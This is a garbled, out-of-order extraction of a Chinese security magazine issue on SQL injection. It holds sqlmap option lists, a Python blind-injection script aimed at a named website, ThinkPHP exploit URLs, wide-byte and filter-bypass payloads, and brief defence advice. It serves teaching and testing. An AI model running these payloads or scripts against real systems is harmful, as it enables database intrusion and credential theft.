    {"text": "Enumeration（枚举）： –level=LEVEL 执行测试的等级（1-5，默认为 1） 这些选项可以用来列举后端数据库管理系统的信息、表 –risk=RISK 执行测试的风险（0-3，默认为 1） 中的结构和数据。"},
    {"text": "–string=STRING 查询时有效时在页面匹配字符串 –regexp=REGEXP 查询时有效时在页面匹配正则表达式 -b, –banner 检索数据库管理系统的标识 –text-only 仅基于在文本内容比较网页 -current-user 检索数据库管理系统当前用户 -current-db 检索数据库管理系统当前数据库 Techniques（技巧）： -is-dba 检测 DBMS 当前用户是否 DBA -users 枚举数据库管理系统用户 这些选项可用于调整具体的 SQL 注入测试。 -passwords 枚举数据库管理系统用户密码哈希 -privileges 枚举数据库管理系统用户的权限 –technique=TECH SQL 注入技术测试（默认 BEUST） -roles 枚举数据库管理系统用户的角色 –time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 -dbs 枚举数据库管理系统数据库 秒） -D DBname 要进行枚举的指定数据库名 –union-cols=UCOLS 定列范围用于测试 UNION 查询注 -T TBLname 要 进 行 枚 举 的 指 定 数 据 库 表（ 如：-T 入 tablename –columns） –union-char=UCHAR 用于暴力猜解列数的字符 -tables 枚举的 DBMS 数据库中的表 -columns 枚举 DBMS 数据库表列 Fingerprint（指纹）： -dump 转储数据库管理系统的数据库中的表项 -dump-all 转储所有的 DBMS 数据库表中的条目 -f, –fingerprint 执行检查广泛的 DBMS 版本指纹 -search 搜索列（S），表（S）和 / 或数据库名称（S） -C COL 要进行枚举的数据库列 21 半月刊第四期 -SQL 注入 –save file 保存选项到 INI 配置文件 Brute force（蛮力）： –batch 从不询问用户输入，使用所有默认配置。"},
    {"text": "Miscellaneous（杂项）： –common-tables 检查存在共同表 –common-columns 检查存在共同列 –beep 发现 SQL 注入时提醒 User-defined function injection（用户自定义函数 –check-payload IDS 对注入 payloads 的检测测试 注入）： –cleanup SqlMap 具体的 UDF 和表清理 DBMS 这些选项可以用来创建用户自定义函数。"},
    {"text": "–forms 对目标 URL 的解析和测试形式 –udf-inject 注入用户自定义函数 –gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果 –shared-lib=SHLIB 共享库的本地路径 –page-rank Google dork 结果显示网页排名（PR） –parse-errors 从响应页面解析数据库管理系统的错 File system access（访问文件系统）： 误消息 –replicate 复制转储的数据到一个 sqlite3 数据库 这些选项可以被用来访问后端数据库管理系统的底层文 –tor 使用默认的 Tor（Vidalia/ Privoxy/ Polipo） 件系统。"},
    {"text": "代理地址 –file-read=RFILE 从后端的数据库管理系统文件系统 –wizard 给初级用户的简单向导界面 读取文件 –file-write=WFILE 编辑后端的数据库管理系统文件 系统上的本地文件 –file-dest=DFILE 后端的数据库管理系统写入文件的 绝对路径 Operating system access（操作系统访问）： 这些选项可以用于访问后端数据库管理系统的底层操作 系统。"},
    {"text": "–os-cmd=OSCMD 执行操作系统命令 –os-shell 交互式的操作系统的 shell –os-pwn 获取一个 OOB shell，meterpreter 或 VNC –os-smbrelay 一键获取一个 OOB shell，meterpreter 或 VNC –os-bof 存储过程缓冲区溢出利用 –priv-esc 数据库进程用户权限提升 –msf-path=MSFPATH Metasploit Framework 本地的安 装路径 –tmp-path=TMPPATH 远程临时文件目录的绝对路径 Windows 注册表访问： 这些选项可以被用来访问后端数据库管理系统 Windows 注册表。"},
    {"text": "–reg-read 读一个 Windows 注册表项值 –reg-add 写一个 Windows 注册表项值数据 –reg-del 删除 Windows 注册表键值 –reg-key=REGKEY Windows 注册表键 –reg-value=REGVAL Windows 注册表项值 –reg-data=REGDATA Windows 注册表键值数据 –reg-type=REGTYPE Windows 注册表项值类型 这些选项可以用来设置一些一般的工作参数。"},
    {"text": "-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中 -s SESSIONFILE 保存和恢复检索会话文件的所有数据 –flush-session 刷新当前目标的会话文件 –fresh-queries 忽略在会话文件中存储的查询结果 –eta 显示每个输出的预计到达时间 –update 更新 SqlMap 现金奖励！"},
    {"text": "投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 22 半月刊第四期 -SQL 注入 SQL 注入工具 中提取数据，甚至访问底层文件系统和执行系统命令。"},
    {"text": "它具有功能强大的检测引擎 , 针对各种不同类型数据库 5、The Mole 的渗透测试的功能选项，包括获取数据库中存储的数据， 访问操作系统文件甚至可以通过外带数据连接的方式执 行操作系统命令。"},
    {"text": "2、SSQLInjection 项目地址：nasel.com.ar 超级 SQL 注入工具（SSQLInjection）是一款基于 HTTP 协 议 自 组 包 的 SQL 注 入 工 具， 支 持 出 现 在 HTTP 协 议 6、SQLNinja 任意位置的 SQL 注入，支持各种类型的 SQL 注入，支 持 HTTPS 模式注入。 目前支持 Bool 型盲注、错误显示 注 入、Union 注 入， 支 持 Access、MySQL5 以 上 版 本、 sqlninja 是一款用 perl 写的一个专门针对 Microsoft SQLServer、Oracle 等数据库。"},
    {"text": "采用 C# 开发，底层采用 SQL Server 的 sql 注入工具。 和市面上其他的注入工具 Socket 发包进行 HTTP 交互，极大的提升了发包效率， 不同，sqlninja 没有将精力用在跑数据库上，而是侧重 相比 C# 自带的 HttpWebRequest 速度提升 2-5 倍。"},
    {"text": "项目地址：http://www.northernfortress.net/ kali 自带工具 项目地址：http://www.shack2.org/ article/1417357815.html 7、BBQSQL 3、Pangolin BBQSQL 是 一 个 Python 编 写 的 盲 注 工 具（blind SQL injection framework），当你检测可疑的注入漏洞时 Pangolin 是一款帮助渗透测试人员进行 SQL 注入测试的 会很有用。"},
    {"text": "8、Jsql 4、Havij JSQL 是一款 Java 开发的轻量级远程服务器数据库注 入漏洞测试工具，且免费、开源、跨平台 (Windows, Linux, Mac OS X, Solaris)。 Havij 是一款自动化的 SQL 注入工具，它不仅能够自动 挖掘可利用的 SQL 查询，还能够识别后台数据库类型、 项目地址：https://code.google.com/p/jsql-检索数据的用户名和密码 hash、转储表和列、从数据库 injection/downloads/list 23 半月刊第四期 -SQL 注入 9、Sqlsus sqlsus 是一个开放源代码的 MySQL 注入和接管工具，sqlsus 使用 perl 编写 , 基于命令行界面。 sqlsus 可以获取数 据库结构，注入你自己的 SQL 语句，从服务器下载文件，爬行 web 站点可写目录，上传和控制后门，克隆数据库等等 项目地址：http://sqlsus.sourceforge.net/download.html 10、SQL Poizon SQL Poizon 是一个 SQL 注入扫描器，能够利用搜索引擎搜罗互联网上有 SQL 注入漏洞的网站。"},
    {"text": "投稿请加QQ：320229344 通过后可加入i春秋作家团 24 半月刊第四期 -SQL 注入 SQL 注入工具拓展篇 编写注入脚本 <?php// 和原文件有删减，为了更好的阅读效果 //including the Mysql connect parameters.include(\"../sql-connections/sql-connect.php\"); 今天整理一下 SQL 盲注，之前说好了整理分享的， error_reporting(0); // 不报错 这篇文章一直在草稿箱躺着，今天整理补充好了， if(isset($_GET['id'])) // 如果有参数 id 传入 感兴趣的朋友收藏啊！ {$id=$_GET['id']; $sql=\"SELECT * FROM users WHERE id='$id' LIMIT 0,1\";$result=mysql_ 最近忙着写主题模版，写插件，帮朋友做项目安全 query($sql);$row = mysql_fetch_array($result); 测试，还有自己学校的期末考试，但是越是期末， if($row) // 如果查到数据就执行如下 与紧张，就越是感觉非常刺激 ~ { echo '<font size=\"5\" color=\"#FFFF00\">'; echo 'You are in...........'; 对于 SQL 注入还不理解的朋友可以参看之前的文 echo \"<br>\"; 章《SQL 注入基础》, 本文章主要讲 SQL 盲注。 echo \"</font>\"; ________________________________________ } else // 否则执行这个 从两者返回的网页结构不一样，就可以 作为我们盲注条件判断的依据 盲注简介： { echo '<font size=\"5\" color=\"#FFFF00\">'; 顾名思义，像盲人一样注入（什么鬼解释 ...），通俗来说， echo \"</br></font>\"; echo '<font color= \"#0000ff\" font size= 3>'; 当我们发现有 SQL 注入时，确不能得到 SQL 查询的数据 回显，除了之前的写文件方式，还有就是盲注了，盲注 } 就是通过服务器返回的状态等各种因素来猜测，最终组 } else { echo \"Please input the ID as parameter with numeric value\";} 合得到哦我们想要的数据。 ?> 盲注必须知识： 根据服务器返回的不同网页结构来判断当前的 SQL 注入 的关键词是否正确，一个有 You 单词，可根据这一特征。 构造这样的语句，返回 if(true) 的网页 SQL 盲注中常用的几个内置函数，了解一下 ~ length(str)：返回 str 字符串的长度。"},
    {"text": "substr(str, pos, len)：将 str 从 pos 位置开始截取 len 长度的字符进行 返回。 注意这里的 pos 位置是从 1 开始的，不是数组的 0 开始 mid(str,pos,len): 跟上面的一样，截取字符串 ascii(str)：返回字符串 str 的最左面字符的 ASCII 代码值。"},
    {"text": "asc(); 同上 ord(str): 同上，返回 ascii 码 if(a,b,c) :a 为条件，a 为 true，返回 b， 否则返回 c，如 if(1>2,1,0), 返回 0 不满足，返回 if(false) 的网页 基于网页特征的 Bool 盲注： 这里还是基于 Sqli 平台吧，这货花样多 ~ 先以最简单的 Less-8 这个单引号 Bool 盲注的题 分析源码 : 下面就写一个简单的脚本来具体解释： 25 半月刊第四期 -SQL 注入 运行结果如下： 这个脚本就是基于网页特征来判定的，下面看看时间盲注的脚本怎么写！ 延时注入： 26 半月刊第四期 -SQL 注入 当一个网页返回的数据根本没变化，报错也不管用，时间盲注就可以上线了！ 先看一个 SQL 语句： if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0) 这个 SQL 语句执行的效果就是，如果 if 语句成立那么就服务器延时 3s 后返回网页给客户端，否则正常时间返回网页。"},
    {"text": "投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 27 半月刊第四期 -SQL 注入 SQL 注入实战篇 Thinkphp 框架 3.2.x sql 注入漏洞分析 作者：F0mrat 前言 Thinkphp 3.2.x 用的也挺多的，以前的程序大部分都是用这边版本的，如果移动到 5 版本又挺麻烦，而且小程序不说， 大程序就复杂很多了。"},
    {"text": "环境搭建和漏洞复现 PHPstudy：Apache+php7.1+MySQL 工具：PHPstorm 1. 首先建立一个数据库名为：thinkphp 2. 建立一个表名为：user 3. 添加两个字段：name,pass 4. thinkphp3.2 版本和之前的 5 版本略有不同，它的数据库信息文件是在 这个文件： thinkphp/ThinkPHP/Conf/convention.php 在这里面填上我们刚才建立的数据库信息 : 5. 打开 thinkphp 的调试模式： 在刚才的文件： thinkphp/ThinkPHP/Conf/convention.php 然后修改为 true： 'SHOW_ERROR_MSG' => true, // 显示错误信息 28 半月刊第四期 -SQL 注入 6. 这个 3.2 版本的控制器位置又是和 5 版本有点区别。"},
    {"text": "文件位置： thinkphp/Application/Home/Controller/IndexController.class.php 在里面写一个简单的 update 的例子： I 函 数 和 5 版 本 的 input 助 手 函 数 差 不 多， 具 体 可 以 看： http://document.thinkphp.cn/manual_3_2. html#input_var 因为我们仅仅执行基本的 CURD 操作，所以用 M 方法来实例化数据库对象就行了。"},
    {"text": "实例化模型可以看： http://document.thinkphp.cn/manual_3_2.html#model_instance 7. 那么现在就开始执行我们的 Payload： http://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=0 and updatexml(2,concat(0x7e,user()),0) 漏洞分析 1. 这里也是用 phpstorm+debug 进行动态分析，配置方法在我上一篇的 5 版本注入文章里面也写过了，如有不懂可以 去查阅。"},
    {"text": "然后访问我们 payload，它会跳到入口文件，我们只要分析的是 I 函数执行的地方，所以我们直接 F8 跳到执行 I 函 数地方： 29 半月刊第四期 -SQL 注入 2. F7 跟进，它会跳到文件： thinkphp/ThinkPHP/Common/functions.php 这里。"},
    {"text": "判断传入的值是用什么方式： 接下来就是对我们传入的值进行过滤： 对我们传入的 bind 值进行过滤： 3. 然后执行我们的数据库更新的操作： 30 半月刊第四期 -SQL 注入 我们 F7 继续跟下去，有些影响不大的函数可以直接 F8 跳过去，到 save 函数： 执行到 update 函数我们 F7 跟进去： 4. 我们继续往下，F7 进入 parseSet 函数，可以看到赋值了一个占位符 0 给 pass ，代替我们的密码 111111。"},
    {"text": "我们再往下面的 parseWhereItem 函数进行分析，这里写到 , $exp=$val[0] 也就是我们传入的 bind。 $exp = strtolower($val[0]) 这里判断如果我们传入的数组 [0] 为 bind 就进行拼接： 6. 从拼接这里也能看出我们为什么要把第二个数组构造的时候填 0，因为是要对应上面 parseSet 函数，赋值了一 个占位符为 0, 用来代替上面的密码 111111 , 而接下来就没有这种赋值操作了，所以我们如果填其他值得话执行 SQL 语句的时候就会报错，到后面我会点出在哪里的。 32 半月刊第四期 -SQL 注入 7. 我们继续，F7 进去执行预处理语句的地方： 我们可以看到这里用到了 bindValue ，绑定一个值到一个参数，也就是把 111111 密码绑定到 :0 这里 。 8. 继续跟下来，到 SQL 语句执行报错的地方，可以很清楚看到直接了我们的报错语句 updatexml 的值： 33 半月刊第四期 -SQL 注入 我们再往 error 函数跟，可以看到替换掉占位符的语句： 34 半月刊第四期 -SQL 注入 9. 如果我们把 0 换成 1 会是怎么样的结果呢？"},
    {"text": "http://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=1 and updatexml(2,concat(0x7e,user()),0) 我们把断点直接断在 SQL 执行的地方： F7 进去然后 F8 直接走，走到执行报错的地方，我们就会看到如果为 1 的话那 SQL 就无法执行下去了。"},
    {"text": "投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 35 半月刊第四期 -SQL 注入 ThinkPHP 框架 < 5.0.16 sql 注入漏洞分析 作者：F0rmat 前言 前天在公众号看到石大神发的一篇审计 thinkphp 的文章 , 就 想写一个分析流程，delay 到了今天。"},
    {"text": "文 件 位 置：\\thinkphp\\application\\index\\controller\\Index. 程 序 下 载 地 址：http://www.thinkphp.cn/ php down/1126.html PHPstudy：Apache+php5.6+MySQL 工具：PHPstorm 1. 首先建立一个数据库名为：thinkphp 这 里 用 到 了 thinkphp 的 助 手 函 数 input()， 是 专 用 来 2. 建立一个表名为：user 接 收 get，post 等 的 值。 具 体 可 以 看：https://www. 3. 添加三个字段：id,name,password kancloud.cn/manual/thinkphp5/118044 4. 在 thinkphp 的数据库文件填上刚才我们建立 的数据库信息： 文件位置：\\thinkphp\\application\\database.php 5. 打开 thinkphp 的调试模式： 文件位置：\\thinkphp\\application\\config.php 还有就是 thinkphp 的数据库操作，框架本身写好了我们 调用就比较方便。"},
    {"text": "所以为什么那么多人用框架去开发程序， 快捷而且安全，不过也会有安全问题，就像今天这个 sql 漏洞，不过如果是新手的话总比自己写的好对吧哈。"},
    {"text": "36 半月刊第四期 -SQL 注入 具体可以看链接：https://www.kancloud.cn/manual/thinkphp5/135178 1. 现在就可以访问我们的 payload 了： http://thinkphp.test/thinkphp/public/index.php?password[0]=inc&password[1]=updatexml(2,concat(0x7e,user()),0)&password[2]=1 2. 漏洞分析 1. 这里用 phpstorm+debug 来动态分析，有不懂配置的可以访问我写一篇配置文章：利用 phpstorm+xdebug 进行断点 调试 我们在主函数下一断点： 37 半月刊第四期 -SQL 注入 然后访问我们 payload，它会跳到入口文件，我们只要分析的是 sql 执行的地方，所以我们直接 F8 跳到执行 sql 地方： 1. 我们继续跟进到 loader.php 它会包含 thinkphp 的 Db.php 文件， 接下还会包 \\thinkphp\\library\\think\\db\\connector\\Mysql.php 文件，主要是连接数据库的操作，这里就直接跳过了。"},
    {"text": "2. 我们跳到 update 执行的部分，文件位置：\\thinkphp\\library\\think\\db\\Query.php 38 半月刊第四期 -SQL 注入 继续往下看，这句是执行我们 sql 的地方： 3. 我们 F7 跟进去，跳到文件位置 \\thinkphp\\library\\think\\db\\Builder.php parseTable 函数直接 F8 往下执行了，这函数是处理 table 分析的，主要还是 parseData 函数 , 我们继续 F7 跟进 39 半月刊第四期 -SQL 注入 4. 我们继续往下跟进 我们看到了这里如果传入的值为数组形式的话，并且第一个参数为 inc 就执行 switch 所对应的的语句。 可以看到这里函数对我们传入的值没有做任何处理，返回内容仍然是我们的语句： 跟到后面返回的执行 sql 语句： 40 半月刊第四期 -SQL 注入 执行完，我们跟进到报错的地方，说明我的语句执行成功： 6. 到这里就差不多结束了，有人问，为什么要这样给数组三个字段？ 我们可以看到我们刚才传入数组的地方，分别有三个数组 41 半月刊第四期 -SQL 注入 到后面返回 $result 的时候就组合在一起了： 下面是 parseData 的代码： 42 半月刊第四期 -SQL 注入 结束 如果看不懂的，可以先去了解一下 thinkphp 这个框架，其他框架大同小异。"},
    {"text": "投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 43 半月刊第四期 -SQL 注入 宽字节注入详解 第二集 作者：sqler 前言 又回来了，今天讲讲宽字节注入。 简介 宽字节注入源于程序员设置 MySQL 连接时错误配置为：set character_set_client=gbk，这样配置会引发编码转换从 而导致的注入漏洞。"},
    {"text": "• 2. 但如果存在宽字节注入，我们输入 %df%27 时首先经过上面提到的单引号转义变成了 %df%5c%27（%5c 是反斜 杠 \\），之后在数据库查询前由于使用了 GBK 多字节编码，即在汉字编码范围内两个字节会被编码为一个汉字。 然后 MySQL 服务器会对查询语句进行 GBK 编码即 %df%5c 转换成了汉字“運”，而单引号逃逸了出来，从而造成 了注入漏洞。"},
    {"text": "现在基本上都会将 mysql 的连接配置为“setcharacter_set_client=binary”来解决这个问题，所以这篇文章将介绍 出现在 php 中因为字符编码转换导致的注入问题。"},
    {"text": "使用 GBK 编码 这 里 纠 正 一 些 人 的 观 念，GBK 编 码 是 数 据 库 编 码， 跟 前 台 的 编 码 无 关， 比 如 我 这 代 码 <meta charset=\"utf-8\" /> 就是使用了 UTF-8 当我们正常请求这个网站的时候，数据库执行的是 select * from news where id = '1' 44 半月刊第四期 -SQL 注入 我们按照上节课讲的加个单引号，我们看是什么样子 看到，我们输入的变成了 select * from news where id = '1\\'' ，在 mysql 里面，反斜杠 \\ 是转义符，相当于， 把我们输入的 1' 拿到数据库有没有匹配的项。"},
    {"text": "%df%5c 在 GBK 编码中是属于一个字符 \" 運 \"，我我们输入 id=1%df%27 的时候，程序检测到有单引号（%27），就默认 在它前面加了一个转义符 \\（%5c） 数据库查询的就是 select * from news where id = '1%df%5c%27' 之前说过，%df%5c = 運 这样我们的 %27 也就是单引号就逃出转义了，我们又是可以构造注入语句了 我们来测试一下 45 半月刊第四期 -SQL 注入 现在这种写法已经很少了，有些程序员有这个安全意识，就把代码改成了这样 GBK 转 UTF-8： 我们来看看，关键的代码 原理其实跟前言里第 2 条是一样的，我们输入 %df%27 时首先经过上面提到的单引号转义变成了 %df%5c%27（%5c 是反 斜杠 \\），然后 %df%5c 正好属于 gbk 的汉字编码范围，经过 iconv 转换到 utf-8 编码转换后变成了汉字“運”，从 而吞掉了反斜杠使得单引号逃脱出来。 utf-8 转 gbk 测试代码 46 半月刊第四期 -SQL 注入 这里我们就要用点逆向思维了 这里我们思考下“錦”这个字，它的 utf-8 编码是 e98ca6，它的 gbk 编码是 e55c，而上面提到过反斜杠 \\ 正好为 5c。 所以如果我们将 title 设置为：錦’，首先经过 addlashes 函数或 GPC 对单引号转义变为：錦 \\’，然后会经过 icnov 函数会对”錦”转化为 gbk 编码，最后就是：％ e5％ 5c％ 5c％ 27。"},
    {"text": "实验一下，我们看到报错 分析一下报错信息 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\\xE5\\\\''' at line 1 ''\\xE5\\\\''' \\xE 是属于一个字符，这就多出了一个 \\，反斜杠是转义符，\\\\'，这样的话，转义符就转义了第二个 \\，导致单引号逃出来，我们就可以继续注入了 现金奖励！"},
    {"text": "index while ($result = mysql_fetch_array($sql)) { echo \"<tr>\"; echo \"<td>\" . $result[0] . \"</td>\"; echo \"<td>\" . $result[1] . \"</td>\"; echo \"</tr>\"; } 06 半月刊第四期 -SQL 注入 2.3、加法和减法 这里我们需要区分一下数字型和字符串型： • 数字型：不需要使用单引号来表示 • 其他类型：使用单引号来表示 综合上述，我们可以发现我们的例子是数字型的，这样我们就可以使用加法和减法来判断了。 加法，我们在参数输入 1+1，看看返回的数据是不是 id 等于 2 的结果，这里注意一下 + 号在 URL 中是有特效含义的，所以我们要对 其进行 url 编码，最后也就是 %2b。 减法是同样的道理，不过我们不需要对 - 号进行 url 编码了。 结束语 感谢大家的支持吧，在此我也总结一下前面自己的不足，由于篇幅很长，宽度是到位了，但是并没有深入，也不算详细，所以本篇 教程分为了三级即初级、中级、高级。六节来写，既要深度也要宽度，当然我也不是技术大牛，如文中有错误请指出，我会加以改正， 谢谢。 现金奖励！ 投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 07 半月刊第四期 -SQL 注入 SQL 注入攻击中级 据库，我们加个单引号。 前言 error:You have an error in your SQL syntax; check the 找到 SQL 注入漏洞后，我们可以用它来干什么呢 ? 那么 manual that corresponds to your MySQL server version 本篇文章给大家带来的就是 SQL 注入漏洞利用技术，现 从错误信息中，我们就可以发现是 MySQL。 在是时候让我们去体验一下漏洞利用的乐趣了。 Microsoft OLE DB Provider for ODBC Drivers 错 误 '80040e14' 上面错误信息可以发现是 Microsoft SQL Server，如果 错误信息开头是 ORA，就可以判断数据库是 Oracle，很 目录 简单，道理都是一样的，就不一一列举了。 基于数字函数推断 第三节 利用 SQL 注入 数据库服务器 函数 • 3.1、识别数据库 Microsoft SQL Server @ @ p a c k _ r e c e i v e d 、 @ @ • 3.2、UNION 语句提取数据 rowcount • 3.3、枚举数据库 MySQL connection_id()、last_ • 3.4、窃取哈希口令 i n s e r t _ i d ( ) 、 r o w _ • 3.5、获取 WebShell count() Oracle BITAND(1,1) 第四节 SQL 盲注利用 PostgreSQL select EXTRACT(DOW FROM NOW()) • 4.1、初识 SQL 盲注 这里以我们搭建的环境为例来做推断： • 4.2、SQL 盲注入技术 - 基于布尔 • 4.3、SQL 盲注入技术 - 基于时间 connection_id() 不管它值多少，基本上都是正的，也 • 4.4、我们的好朋友 -Python 就是为真，last_insert_id() 用法大家自行百度，这里 不存在 insert 语句，默认情况就是返回零，也就是假。 那么如果 and connection_id() 数据返回正常，and 正文 last_insert_id() 不返回数据，我们就可以推断这是一 个 MySQL 数据库了。 第三节 利用 SQL 注入 3.1、识别数据库 要想发动 sql 注入攻击，就要知道正在使用的系统数据 库，不然就没法提取重要的数据。 首先从 Web 应用技术上就给我们提供了判断的线索： • ASP 和 .NET：Microsoft SQL Server • PHP：MySQL、PostgreSQL • Java：Oracle、MySQL Web 容 器 也 给 我 们 提 供 了 线 索， 比 如 安 装 IIS 作 为 服 务 器 平 台， 后 台 数 据 及 很 有 可 能 是 Microsoft SQL 3.2、UINON 语句提取数据 Server，而允许 Apache 和 PHP 的 Linux 服务器就很有可 能使用开源的数据库，比如 MySQL 和 PostgreSQL。 UNION 操作符可以合并两条或多条 SELECT 语句的查询结 果，基本语法如下： 基于错误识别数据库 大多数情况下，要了解后台是什么数据库，只需要看一 条详细的错误信息即可。比如判断我们事例中使用的数 08 半月刊第四期 -SQL 注入 select column -1 column -2 from table -1 得到列数后我们还需要满足第二个条件"},
    {"text": "同样的道理，提取用户名前四个字符 做判断，正确就延迟 4 秒，错误返回 1 显然可以： id=1 and 1=1 True 4.4、我们的好朋友 -Python id=1 and 1=2 False 使用 Python 自动化注入获取用户名实例： 怎么利用？"},
    {"text": "在介绍利用技巧之前我们先来介绍一个重要的 SQL 函数 SUBSTRING(str,pos,len) 没有 len 参数的形式返回一个字符串从字符串 str 从位置 pos 开始。 一个 len 参数的形式返回 len 个字符长的字符串 str 的子 串，从位置 pos 开始，形式使用的是标准的 SQL 语法。"},
    {"text": "import requests def attack(): print 'launch an attack' url = 'http://www.isbase.com/sqlbool.php' user = '[+]system_user: ' zimu1 = range(33,65) zimu2 = range(91,128) zimu = zimu1 + zimu2 for l in range(1,16): for i in zimu: payload = 11\"and SUBSTRING(user(),\" + str(l) + \",1)='\" + chr(i) + \"'\" payload = {'id': '1 ' + payload} r = requests.get(url, params = payload) wenben = r.text wenben = wenben.encode(\"utf-8\") result = wenben.find(\"jim\") if (result ! = - 1): user = user + chr(i) print user if __name__ == '__main__': print 'Author:zusheng' print 'bbs:ichunqiu.com' import requests def attack(): print 'launch an attack' url = 'http://www.isbase.com/sqlbool.php' user = '[+]system_user: ' zimu1 = range(33,65) zimu2 = range(91,128) 半月刊第四期 -SQL 注入 zimu = zimu1 + zimu2 for l in range(1,16): for i in zimu: payload = \"and SUBSTRING(user(),\" + str(l) + \",1)='\" + chr(i) + \"'\" payload = {'id': '1 ' + payload} r = requests.get(url, params = payload) wenben = r.text wenben = wenben.encode(\"utf-8\") result = wenben.find(\"jim\") if (result ! = - 1): user = user + chr(i) print user if __name__ == '__main__': print 'Author:zusheng' print 'bbs:ichunqiu.com' attack() print '[+]ok' SQL 注入攻击高级 作者：zusheng 前言 正文 第五节 避开过滤方法总结 前面我们学习了如何寻找，确认，利用 SQL 注入漏洞的 技术，本篇文章我将介绍一些更高级的技术，避开过滤， Web 应用为了防御包括 SQL 注入在内的攻击，常常使用 绕开防御。"},
    {"text": "目录 5.1、大小写变种 第五节 避开过滤方法总结 这种技巧适用于关键字阻塞过滤器不聪明的时候，我们 可以变换关键字字符串中字符的大小写来避开过滤，因 • 5.1、大小写变种 为使用不区分大小写的方式处理 SQL 关键字。"},
    {"text": "• 5.2、URL 编码 例如：（下面的代码就是一个简单的关键字阻塞过滤器） • 5.3、SQL 注释 • 5.4、空字节 function waf($id1){ • 5.5、二阶 SQL 注入 if (strstr($id1,'union')){ echo 'error:lllegal input'; 第六节 探讨 SQL 注入防御技巧 return ; • 6.1、输入验证 } • 6.2、编码输出 return $id1; 现金奖励！"},
    {"text": "投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 12 半月刊第四期 -SQL 注入 但是内联注释不使用空格就可以构造任意复杂的 SQL 语 这是一个个人信息应用程序，我们可以更新我们的用户 句。"},
    {"text": "第二步查看我们个人信息时的 SQL 语句： select * from users where username = '$name' 查询的语句所用到的变量 name 就是从数据库提取到的 我们的用户名，所以我们可以先利用更新我们的用户名 功能插入语句进数据库。"},
    {"text": "比如入侵检测系统（IDS），这些系统一般是由原生编 zusheng' or '1'='1 程语言开发而成，比如 C++，为什么空字节能起作用呢， 就是因为在原生变成语言中，根据字符串起始位置到第 那么后面我们就执行了语句 一个出现空字节的位置来确定字符串长度。"},
    {"text": "select * from users where username = 'zusheng' or '1'='1' 只需要在过滤器阻止的字符串前面提供一个采用 URL 编 第六节 探讨 SQL 注入防御技巧 码的空字节即可，例如： %00' union select username,password from users where 6.1、输入验证 username='admin' -- 输入验证是指要验证所有应用程序接收到的输入是否合 5.5、二阶 SQL 注入 法。"},
    {"text": "有两中不同类型的输入验证方法：白名单和黑名单验证 实际上到目前为止，你在网上大部分搜索 SQL 注入文章 白名单验证：比如 id 值，那么我们判断它是否为数字。 基本都可以归类到 \" 一阶 (first-order)\"SQL 注入中， 黑名单验证：使用正则表达式禁止使用某些字符和字符 因为这些例子涉及的事件均发生在单个 HTTP 请求和响 串 应中，如下所示： 应该尽量使用白名单，对于无法使用白名单的，使用黑 名单提供局部限制。"},
    {"text": "(2) 应用处理输入，导致攻击者注入的 SQL 查询被执行。 6.2、编码输出 (3) 如果可行的话，会在应用对请求的响应中向攻击者返回查 询结果。"},
    {"text": "我们除了要验证应用程序收到的输入以外，还要对数据 进行编码，这样不仅可以防御 SQL 注入攻击，还能防止 另一种不同的 SQL 注入攻击是 \" 二阶 (second-order)\"SQL 注 出现其他问题，比如 XSS。"},
    {"text": "(4) 为处理第二个请求，应用会检索已经存储的输入并处理它， 2. 对进入数据库的特殊字符（'\"\\<>&*;-- 等）进行转 从而导致攻击者注入的 SQL 查询被执行。"},
    {"text": "6. 使用低权限账号启动数据库，禁用数据库的危险函数 如 xp_cmd，禁用危险存储过程 7. 用户权限使用最小权限原则，比如只使用到读权限的 用户，只分配查询权限 等等 SQL 工具篇 — 利用 Burpsuit 学习注入工具语句 引子 实践 小明学习网络安全有些日子了，从刚入门的小白已经晋级到脚 1、Pangolin 我们先用注入神器 pangolin 试试，什么？"},
    {"text": "因为它可以设置代理呀，要 本小子了，对各大神器如 Burpsuit、Sqlmap 等有了大概的了 知道不是谁都可以设置代理的 解，可最近似乎遇到了瓶颈，纷繁复杂的工具已经搞得他焦头 首 先， 我 们 设 置 好 Burpsuite 为 127.0.0.1 端 口 为 烂额，他意识到应该专注（Focus）, 你看大牛们一言不合就读 8080，与平时设置相同。"},
    {"text": "闲言少叙，各位客官，里边请了您那 ~ 原理 其次设置 Pangolin 的代理，依此点“编辑”、“配置”， 设置代理服务器为 127.0.0.1 端口为 8080，代理类型选 首先我们来要搞清楚 burpsuite 代理的原理，下面这图 择 HTTP 一目了然 buipsuit 作为中间人可以拦截 PC 的数据，那我把 PC 换 成其他客户端理论上也可以拦截其他客户端的数据。"},
    {"text": "而 我们就是想学习注入工具的语句，那就把 PC 换成注入 这个时候设置就基本完成了，也就是我们已经把上图中 工具吧，音乐起 ~ 的 PC 换成 Pangolin 了，下面就是见证奇迹的时刻了， 好鸡冻！"},
    {"text": "这里有个小问题，就是 History 里的注入语句 URL 编码 了，不太直观，我们可以把鼠标放在数据包中的注入语 句（橙色部分）上，会自动显示解码结果，或者可以发 送到“Decoder”进行解码。"},
    {"text": "2、SQLmap 接下来我们再来看看注入神器 Sqlmap 效果 怎么样，Sqlmap 很贴心的给出了代理设置参数 --proxy 这里直接给出语句，这里的参数 --skip-urlencode 是 为了跳过 url 编码 python sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts. php?id=1 --proxy http://127.0.0.1:8080 --skip-urlencode -dbs 可以看到，成功拦截数据，Intercept is Off 以后， History 里继续查看 注入语句 python sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts. php?id=1 --proxy http://127.0.0.1:8080 --skip-urlencode --dbs python sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts. php?id=1 --proxy http://127.0.0.1:8080 --skip-urlencode -D webtest --tables 15 半月刊第四期 -SQL 注入 DNS 注入 &sqlmap 进行 DNS 注入 作者：我是 salf dns 